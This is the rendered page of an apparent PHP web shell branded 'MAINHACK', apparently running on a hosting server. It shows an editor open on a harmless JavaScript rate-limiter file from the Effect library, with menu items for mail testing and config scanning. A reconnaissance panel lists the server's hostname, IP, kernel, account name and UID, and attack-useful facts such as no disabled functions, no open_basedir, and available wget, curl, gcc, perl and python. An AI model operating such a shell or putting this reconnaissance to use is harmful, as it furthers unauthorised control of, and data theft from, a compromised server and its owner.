[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: rateLimiter.js
import * as Duration from "../Duration.js"; import * as Effect from "../Effect.js"; import * as FiberRef from "../FiberRef.js"; import { pipe } from "../Function.js"; import { globalValue } from "../GlobalValue.js"; /** @internal */ export const make = ({ algorithm = "token-bucket", interval, limit }) => { switch (algorithm) { case "fixed-window": { return fixedWindow(limit, interval); } case "token-bucket": { return tokenBucket(limit, interval); } } }; const tokenBucket = (limit, window) => Effect.gen(function* () { const millisPerToken = Math.ceil(Duration.toMillis(window) / limit); const semaphore = yield* Effect.makeSemaphore(limit); const latch = yield* Effect.makeSemaphore(0); const refill = Effect.sleep(millisPerToken).pipe(Effect.zipRight(latch.releaseAll), Effect.zipRight(semaphore.release(1)), Effect.flatMap(free => free === limit ? Effect.void : refill)); yield* pipe(latch.take(1), Effect.zipRight(refill), Effect.forever, Effect.forkScoped, Effect.interruptible); const take = Effect.uninterruptibleMask(restore => Effect.flatMap(FiberRef.get(currentCost), cost => Effect.zipRight(restore(semaphore.take(cost)), latch.release(1)))); return effect => Effect.zipRight(take, effect); }); const fixedWindow = (limit, window) => Effect.gen(function* () { const semaphore = yield* Effect.makeSemaphore(limit); const latch = yield* Effect.makeSemaphore(0); yield* pipe(latch.take(1), Effect.zipRight(Effect.sleep(window)), Effect.zipRight(latch.releaseAll), Effect.zipRight(semaphore.releaseAll), Effect.forever, Effect.forkScoped, Effect.interruptible); const take = Effect.uninterruptibleMask(restore => Effect.flatMap(FiberRef.get(currentCost), cost => Effect.zipRight(restore(semaphore.take(cost)), latch.release(1)))); return effect => Effect.zipRight(take, effect); }); /** @internal */ const currentCost = /*#__PURE__*/globalValue(/*#__PURE__*/Symbol.for("effect/RateLimiter/currentCost"), () => FiberRef.unsafeMake(1)); /** @internal */ export const withCost = cost => Effect.locally(currentCost, cost); //# sourceMappingURL=rateLimiter.js.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344